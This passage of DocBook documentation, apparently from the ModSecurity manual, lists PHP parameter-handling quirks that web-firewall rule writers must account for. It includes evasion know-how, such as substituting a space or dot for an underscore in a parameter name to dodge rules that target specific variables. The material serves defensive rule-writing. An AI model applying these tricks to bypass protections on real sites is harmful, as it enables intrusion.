evasion techniques the problem can only be minimized, but never solved.
|
|
With so many different application backend chances are some will always
|
|
do something completely unexpected. The only solution is to be aware of
|
|
the technologies in the backend when writing rules, adapting the rules
|
|
to remove the mismatch. See the next section for some examples.</para>
|
|
|
|
<section>
|
|
<title>PHP Peculiarities for ModSecurity Users</title>
|
|
|
|
<para>When writing rules to protect PHP applications you need to pay
|
|
attention to the following facts:</para>
|
|
|
|
<orderedlist>
|
|
<listitem>
|
|
<para>When "register_globals" is set to "On" request parameters
|
|
are automatically converted to script variables. In some PHP
|
|
versions it is even possible to override the $GLOBALS
|
|
array.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Whitespace at the beginning of parameter names is ignored.
|
|
(This is very dangerous if you are writing rules to target
|
|
specific named variables.)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>The remaining whitespace (in parameter names) is converted
|
|
to underscores. The same applies to dots and to a "[" if the
|
|
variable name does not contain a matching closing bracket.
|
|
(Meaning that if you want to exploit a script through a variable
|
|
that contains an underscore in the name you can send a parameter
|
|
with a whitespace or a dot instead.)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Cookies can be treated as request parameters.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>The discussion about variable names applies equally to the
|
|
cookie names.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>The order in which parameters are taken from the request and
|
|
the environment is EGPCS (environment, GET, POST, Cookies,
|
|
built-in variables). This means that a POST parameter will
|
|
overwrite the parameters transported on the request line (in
|
|
QUERY_STRING).</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>When "magic_quotes_gpc" is set to "On" PHP will use
|
|
backslash to escape the following characters: single quote, double
|
|
quote, backslash, and the nul byte.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>If "magic_quotes_sybase" is set to "On" only the single
|
|
quote will be escaped using another single quote. In this case the
|
|
"magic_quotes_gpc" setting becomes irrelevant. The
|
|
"magic_quotes_sybase" setting completely overrides the
|
|
"magic_quotes_gpc" behaviour but "magic_quotes_gpc" still must be
|
|
set to "On" for the Sybase-specific quoting to be work.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>PHP will also automatically create nested arrays for you.
|
|
For example "p[x][y]=1" results in a total of three
|
|
variables.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
</section>
|
|
</section>
|
|
</section>
|
|
</article>
|